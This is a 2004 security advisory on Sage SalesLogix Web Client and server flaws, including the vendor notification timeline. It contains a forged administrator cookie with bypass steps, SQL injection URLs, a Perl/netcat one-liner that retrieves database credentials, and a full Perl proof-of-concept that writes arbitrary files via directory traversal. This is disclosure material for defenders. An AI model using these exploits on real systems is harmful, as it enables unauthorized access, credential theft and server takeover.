Saleslogix-1-2004.txt

2004-10-26T00:00:00
ID PACKETSTORM:34756
Type packetstorm
Reporter Carl Livitt
Modified 2004-10-26T00:00:00

Description

                                        
                                            `  
________________________________________________________________________  
________  
  
Agenda Security Services  
  
Security Vulnerability Advisory  
________________________________________________________________________  
________  
  
  
Product: SalesLogix Server and Web Client  
Vendor: Sage  
Homepage: http://www.saleslogix.com  
Platforms: Microsoft Windows  
Impact: Bypass authentication  
Privilege escalation  
SQL injection  
Information leaks  
Arbitrary file creation  
Directory traversal  
Advisory: Agenda-Security-Saleslogix-1-2004  
Author: Carl Livitt (carl at agenda hyphen security dot co dot  
uk)  
Website: http://www.agenda-security.co.uk  
Discovery date: May 19, 2004  
Release date: October 18, 2004  
  
________________________________________________________________________  
________  
  
Product Description:  
  
"SalesLogix is the Customer Relationship Management solution that  
drives  
sales performance in small to medium-sized businesses through Sales,   
Marketing, and Customer Support automation and back-office integration.  
  
SalesLogix Web solutions provide a powerful deployment alternative to  
traditional client/server applications. Designed for businesses needing  
a  
web-based CRM solution with flexible financing options, SalesLogix Web  
solutions deliver resources and tools that drive sales performance and  
provide  
superior customer support. Easy to deploy, customize and use,  
SalesLogix Web  
solutions are practical and deliver low total cost of ownership."  
  
  
Problem Description:  
  
By manipulating the cookies used by the Web Client, it is possible to  
trick the  
server into authenticating a remote user as the CRM administrator  
without  
requiring a password.  
  
It is also possible to perform SQL injection attacks on the SQL server  
that is  
used as the data store for the SalesLogix CRM system, reveal detailed  
error  
reports contained in HTTP headers and disclose the real filesystem  
paths to  
various SalesLogix directories.  
  
The SalesLogix server itself is vulnerable to an attack that would  
allow a  
malicious user to obtain the username and password used to access the  
SQL  
server used as a data store. The disclosed username and password always  
have   
read/write permissions on the database.  
  
Another vulnerability in the SalesLogix server allows an  
unauthenticated user  
to upload arbitrary files to the server in any directory (s)he chooses.  
  
________________________________________________________________________  
________  
  
Problem Details:  
  
Web Client: Authentication Bypass  
---------------------------------   
  
The main login page for the Web Client is found at the URL:  
  
http://www.example.com/scripts/slxweb.dll/home  
  
When a user logs in using this web form, authentication information  
(the  
username and password) is passed unencrypted to the SalesLogix (SLX)  
web  
server. If authentication is successful, a cookie is set in the user's   
browser that stores the username, 'team' name and type of user that has  
logged  
in. For the purposes of this advisory, the team and user type are not   
relevant. The cookie that is set looks like this:  
  
  
  
slxweb=user=XYZZY0000001|teams=XYZZY0000001!ABCDEF000002!|usertype=Remot  
e|  
  
It is trivially simple to modify the cookie to contain the  
administrator's  
details, and because there is no session tracking performed, the  
credentials  
are accepted as valid by the server. A modified cookie would look like  
this:  
  
slxweb=user=Admin|teams=ADMIN!|usertype=Administrator|  
  
When the SLX Web Client receives this cookie, it does not check for a  
valid  
session (the SLX Web Client does not use sessions, making it  
inherently  
insecure); neither does it check for a valid password. Instead, it  
trusts the  
information in the cookie to be correct and authenticates the user  
based upon  
that trust.  
  
As such, the SLX Web Client authentication system is utterly broken and  
can be  
bypassed easily and reliably. It should be noted that it is possible to  
impersonate any user, not just the administrator. Bypassing the  
authentication  
can be achieved by following these steps:  
  
1. Start your favorite HTTP proxy server that is capable of modifying  
HTTP  
headers on the fly (for example HTTPush).  
  
2. Configure Internet Explorer to use that proxy.  
  
3. Browse to  
http://www.example.com/scripts/slxweb.dll/view?name=mainpage (of  
course you need to replace www.example.com with your own webserver  
address).  
  
4. When prompted to do so by HTTPush (or whatever proxy you are using),  
add a  
new cookie containing the following data:  
  
slxweb=user=Admin|teams=ADMIN!|usertype=Administrator|  
  
5. Complete the request. This will force the SLX server to set the  
cookie in  
your browser.  
  
6. Configure Internet Explorer to NOT use HTTPush and disable the  
proxy.  
  
7. Browse to  
http://www.example.com/scripts/slxweb.dll/view?name=mainpage  
again. You will now be logged in as the administrator and you can  
use the  
SLX system with administrative rights.  
  
  
It may be worth noting that using a value of ' (one apostrophe) for the  
user name in the cookie causes a fatal exception in the SLX process  
handling  
the request:  
  
Access violation at address 0424D29F in module 'slxweb.dll'. Read of  
address  
000000EC;  
  
This has not been tested for exploitability and is fixed in the vendor  
patches.  
  
  
  
Web Client: Information Disclosure in HTTP Headers  
--------------------------------------------------  
  
By submitting an invalid request to the SLX Web Client, it is possible  
to  
cause the process handling the request to crash.  
  
Additionally, the Web Client leaks information about the crash in its  
HTTP  
headers. For example, by submitting the following request:  
  
GET /scripts/slxweb.dll/getfile HTTP/1.0  
Host: www.example.com  
Cookie: slxweb=user=Admin|teams=ADMIN!|usertype=Administrator|  
  
The SLX webserver returns the following headers:  
  
HTTP/1.1 200 OK  
Server: Microsoft-IIS/5.0  
Date: Wed, 19 May 2004 10:29:11 GMT  
X-Powered-By: ASP.NET  
Set-Cookie: Error=True;  
Set-Cookie: ErrorCode=513;  
Set-Cookie: ErrorUserMsg=SalesLogix has detected an error condition.  
Contact your administrator if the problem persists.;  
Set-Cookie: ErrorLogMsg=  
Access violation at address 0438E1C4 in module 'slxweb.dll'. Read of  
address  
FFFFFFFF;  
Set-Cookie: slxweb=user=Admin|teams=ADMIN!|usertype=Administrator|;  
path=/;  
expires=Wed, 19 May 2004 10:59:11 GMT;  
Content-Type: text/html  
Content-Length: 550  
  
The 'ErrorLogMsg' cookie gives detailed information about the crashed  
process.  
This crash has not been tested for exploitability and is fixed in the  
vendor  
patches.  
  
  
Web Client: Document Store Directory Disclosure  
-----------------------------------------------  
  
By passing an invalid filename to the SLX component responsible for  
downloading files from the server to the user, it is possible to obtain  
the  
full path to the Library and Attachment paths used by SLX:  
  
  
http://www.example.com/scripts/slxweb.dll/getfile?type=Library&file=XYZZ  
Y  
  
or  
  
  
http://www.example.com/scripts/slxweb.dll/getfile?type=Attachment&file=X  
YZZY  
  
The following error message is displayed:  
  
The file requested "\\servername\logging\Library\XYZZY" was not found  
on the  
server.  
  
  
  
Web Client: SQL Injection  
-------------------------  
  
There are multiple points in the code where SQL injection seems  
possible. One  
example of this follows:  
  
  
http://www.example.com/scripts/slxweb.dll/view?name=coninfo&id='xyzzy'xy  
zzy  
  
When we examine the headers that are returned from this request, the  
following  
error message is displayed (edited for clarity):  
  
Set-Cookie: ErrorUserMsg=SalesLogix has detected an error condition.  
Contact your administrator if the problem persists.;  
Set-Cookie: ErrorLogMsg=coninfo".  
Failed to parse SQL.SELECT A1.WORKPHONE, A1.PINNUMBER,  
A1.PAGERNUMERIC,  
A1.MOBILE, A1.HOMEPHONE, A1.FAX, A2.POSTALCODE A2_POSTALCODE,  
A1.WEBADDRESS,  
A1.TYPE, A1.TITLE, A1.STATUS, A2.STATE A2_STATE, A1.ISPRIMARY,  
A1.PREFIX,  
A1.SECCODEID, A1.ACCOUNTMANAGERID, A1.EMAIL, A1.LASTNAME,  
A1.CONTACTID,  
A1.FIRSTNAME, A1.DONOTSOLICIT, A2.COUNTRY A2_COUNTRY, A2.CITY  
A2_CITY,  
A2.ADDRESS2 A2_ADDRESS2, A2.ADDRESS1 A2_ADDRESS1, A1.ACCOUNTID,  
A3.ACCOUNT  
A3_ACCOUNT FROM CONTACT A1 INNER JOIN ADDRESS A2 ON  
(A1.ADDRESSID=A2.ADDRESSID) INNER JOIN ACCOUNT A3 ON  
(A1.ACCOUNTID=A3.ACCOUNTID) WHERE (A1.CONTACTID='xyzzy'xyzzy);  
  
Not only is it possible to inject SQL into this statement, but the  
complete  
SQL statement (including table and field names) is returned.  
  
  
  
Web Client: Passwords are revealed in the source code  
-----------------------------------------------------  
  
By using netcat to submit requests to the SLX server and watching the  
responses, it is possible to see passwords to the database and other  
secret  
data:  
  
carl@agenda:~ > netcat www.example.com 80  
GET /scripts/slxweb.dll/view?name=mainpage HTTP/1.0  
Host: www.example.com  
Cookie: slxweb=user=Admin|teams=ADMIN!|usertype=Administrator|  
  
The returned data is enormous, but a small selection of VBScript is  
presented  
to illustrate the situation:   
  
<OBJECT ID="GM" classid="clsid:10506C15-1748-4330-8E46-2CA6C4BB5948"  
codebase="/slxweb/GroupManager.cab#version=-1,-1,-1,-1"  
width=0 height=0 align=center hspace=0 vspace=0 >  
<PARAM Name="ImagePath" value="/slxweb/Images" />  
<PARAM Name="UserID" value="Admin" />  
<PARAM Name="ServerName" value="www.example.com" />  
<PARAM Name="DBType" value="dbSQLServer" />  
<PARAM Name="vPort" value="80" />  
<PARAM Name="UserName" value="ADMIN" />  
<PARAM Name="Password"   
  
value="badc0dedbadc0dedbadc0dedbadc0dedbadc0dedbadc0dedbadc0dedbadc0ded"  
/>  
<PARAM Name="Product" value="SALES" />  
<PARAM Name="DataSource" value="SALESLOGIX" />  
<PARAM Name="ExtendedProp" value="DSN=SALESLOGIX;UID=Admin;SLX  
Server=example;ADDRESS=localhost;Type=ODBC;PORT=1706;RWPass=" />  
</OBJECT>  
  
Also included in the VBScript are sections that disclose the full path  
to the  
Library and Document paths, server names, etc.  
  
One special point of note are sections of code such as this:  
  
vMME.AttachmentPath = "\\example\SLXlogs\Documents"  
vMME.LibraryPath = "\\example\SLXlogs\Library"  
  
These variables are passed by ActiveX objects back to the server; the  
server  
trusts them, and in some cases, uses the paths to point to locations on  
the  
filesystem which will be written to. By modifying the VBScript en-route  
to the  
browser, it should be possible to change the paths to values such as  
"c:\"  
making it feasable that a remote user could upload arbitrary files (ASP  
scripts  
for example) to the server and completely compromise it.  
  
  
  
SLX: Client / server authentication weaknesses  
----------------------------------------------  
  
The protocol that SLX clients and servers use to communicate is flawed  
by  
design. It does not mandate that a client is authenticated by the  
server before  
issuing SLX commands to it. It is therefore possible for a  
man-in-the-middle  
(MITM) attack to take place which would trick a client into believing  
it had  
been authenticated by the server.   
  
A highly simplified model of the 'authentication' process for SLX  
clients looks  
like this:  
  
1. Client -> Server [here's my username / password]  
2. Server -> Client [you are now logged in]  
3. Client -> Server [command 1, command 2, command X]  
4. Server -> Client [ok, done. Here's the results]  
  
Unfortunately, when a client sends a command to the SLX server, it  
makes no   
attempt to verifiy that the client is logged in and authenticated. In  
other  
words, steps 1 & 2 above are not necessary in order to execute SLX  
commands  
on the server. This makes it trivial to spoof the client software into   
believing it has logged in. For example:  
  
1. Attacker -> Client [ARP spoof. I am the server]  
2. Client -> Attacker [here's my username / password]  
3. Attacker -> Client [you are now logged in]  
4. Client -> Attacker -> Server [command 1, command 2, command X]  
5. Server -> Attacker -> Client [ok, done. Here's the results]  
  
The protocol is sufficiently broken to render all of the SLX  
client/server  
communications insecure and allow an attacker to gain complete access  
to the  
SLX server.  
  
  
  
SLX: Server reveals database username and password  
--------------------------------------------------  
  
Communicating on TCP port 1707, the SalesLogix server accepts commands  
from   
clients in a fairly simple format. As noted above, commands can be  
issued   
without need for authentication. For example, by using the command   
'GetConnection' with the correct parameters, the server will inform the  
client  
of the necessary credentials for accessing the SQL server database that  
  
SalesLogix uses as its data store. The following snippet is a proof of  
concept  
that can be executed from the command-line using a Perl interpreter:  
  
perl -e 'print "\x0"x10 . "\x20" . "\x0"x3 .   
"GetConnection\x0SALESLOGIX_SERVER\x0"' | netcat 1.2.3.4  
1707  
  
The resulting output would look similar to this:  
  
Provider=SQLOLEDB.1;Password=masterkey;Persist Security Info=True;  
UserID=sysdba;Initial Catalog=SalesLogix;Data Source=TESTBOX  
  
The credentials returned by the server can be used to access the SQL  
server  
and perform any read/write action on the data, including adding or  
deleting  
user accounts, changing passwords, modifying data etc.  
  
  
  
SLX: Arbitrary files can be created on the SalesLogix server  
------------------------------------------------------------  
  
Using a technique similar to above combined with a directory traversal  
exploit,  
a malicious user can create, truncate or overwrite arbitrary files on  
the   
SalesLogix server. The user does not have to be authenticated.  
  
The command 'ProcessQueueFile' is used by the SalesLogix client to  
upload a   
file to the server's Queue directory for processing. The client  
specifies both  
the filename and the file content.  
  
By using a filename containing "..\" characters, it is possible to  
traverse to  
the root of the filesystem upon which the SalesLogix server is  
installed. An   
attacker can use this to create arbitrary files with arbitrary content  
on the  
SalesLogix server.  
  
An example exploit capable of uploading a file to a remote SalesLogix  
server is  
provided at the end of this advisory.   
  
  
________________________________________________________________________  
________  
  
Vendor notification timeline:  
  
19 May 2004 - Vendor contacted with initial advisory.  
  
16 Jun 2004 - Vendor contacted to request status update.  
Vendor informed of further vulnerabilities in SLX.  
Author informed of pending fixes to previous  
vulnerabilities.  
  
22 Jun 2004 - Sent vendor latest advisory containing PoC exploit for  
the file  
creation vulnerability.  
  
15 Oct 2004 - Vendor confirms all vulnerabilities are patched.  
The decision is made to wait until after the weekend to  
release  
details of the vulnerabilities.  
  
18 Oct 2004 - Security advisory released.  
  
  
________________________________________________________________________  
________  
  
Updated software / patches:  
  
All service packs and security fixes can be downloaded from the  
SalesLogix  
support website at http://support.saleslogix.com.  
  
It should be noted that Agenda Security Services have not verified that  
the   
vendor patches address the security probems described in this advisory.  
  
________________________________________________________________________  
________  
  
About Agenda Security Services:  
  
Agenda Resource Management was formed to meet the growing needs of the   
biotechnology industry for recruitment services, consultancy, training,  
  
facilities management and security services. The security services  
section has   
gone from strength to strength, leading to the development of the  
Agenda   
Security Services division.  
  
Former police officers, military personnel and network security  
specialists   
head it with extensive background experience from their time in the  
anti-  
terrorist branch, fraud squad, special branch and computer forensics.  
Our   
unique experience of the issues relating to the biotech industry has  
enabled   
us to develop sophisticated systems, procedures and unique skills which  
help   
us deliver an unrivalled service to our clients.  
  
We are registered with agencies including the Criminal Records Bureau  
(CRB),  
Data Protection and BSI. In 2003 we were awarded the Information  
Security   
Systems Standard (ISMS) BS7799 into which we are incorporating the code  
of   
conduct for security vetting procedures (BS7858).  
  
Our core services are data security/ethical hacking, social  
engineering,   
pre-employment security screening, CRB checks, BS7799 consultancy and  
security  
awareness training courses.  
  
For more information, please contact us:  
  
Web: http://www.agenda-security.co.uk  
Email: info at agenda hyphen security dot co dot uk  
Telephone: 08456 44 55 46 (UK)  
+44 1964 671 791 (intl)  
  
________________________________________________________________________  
________  
  
  
#!/usr/bin/perl  
#   
# Proof of concept exploit: Arbitrary file creation for SLX server 6.1  
#  
# Written by Carl Livitt, Agenda Security Services, June 2004.  
#  
# This exploit abuses the ProcessQueueFile command on SLX 6.1 (others?)  
servers  
# to create arbitrary files on the filesystem of the SLX server. By  
using  
# directory traversal, it is possible to escape from the Queue directory  
and  
# write anywhere on the SLX server's filesystem.  
#  
  
use IO::Socket;  
  
print "slx_uploader - Uploads arbitrary files to Sage SalesLogix  
servers.\n";  
print "By Carl Livitt @ Agenda Security Services, June 2004\n\n";  
  
if($#ARGV!=2) {  
print "Syntax: $0 host filename_to_create file_to_upload\n\n";  
print "Example:\n";  
print " $0 10.0.0.100  
\\\\winnt\\\\system32\\\\drivers\\\\etc\\\\hosts evil.txt\n\n";  
print "The above example would upload the local file 'evil.txt'  
to the SLX\n";  
print "server on 10.0.0.100, overwriting the existing hosts  
file.\n";  
print "It is possible to upload binary files, e.g. executables,  
with this exploit.\n\n";  
  
exit(1);  
} else {  
$host=$ARGV[0];  
$create_file=$ARGV[1];  
$upload_file=$ARGV[2];  
}  
  
if((stat($upload_file))[7] > 4096) {  
print "[*] Error! Files to be uploaded must be less than 4k in  
size.\n\n";  
exit(1);  
}  
  
print "[+] Building payload\n";  
$contentLen=43 + length($create_file);  
$exploit="\x00"x10 . chr($contentLen) . "\x00"x3 .  
"ProcessQueueFile\x00" . "..\\"x8 . "$create_file" . "\x00"x6;  
  
open(UPLOAD, '<', $upload_file) || die "Could not open local file  
$upload_file\n";  
  
while(($line=<UPLOAD>)) {  
$exploit.=$line;  
}  
  
close(UPLOAD);  
  
print "[+] Connecting to server $host:1707\n";  
$sock=IO::Socket::INET->new("$host:1707") || do {print "[-] Could not  
connect to server\n"; exit(1); };  
  
print "[+] Sending exploit payload\n";  
send($sock,$exploit,0);  
  
print "[+] Waiting for response\n";  
$sock->recv($data,1024,0);  
  
if($data =~ /Received/) {  
print "[+] Exploit successful\n";  
} else {  
print "[*] Exploit may not have worked.\n";  
}  
  
$sock->shutdown(2);  
  
  
  
  
DISCLAIMER   
Any opinions expressed in this email are those of the individual and not necessarily the Company. This email and any files transmitted with it, including replies and forwarded copies (which may contain alterations) subsequently transmitted from the Company are confidential and solely for the use of the intended recipient. It may contain material protected by attorney-client privilege. If you are not the intended recipient or the person responsible for delivering to the intended recipient, be advised that you have received this email in error and that any use is strictly prohibited.  
`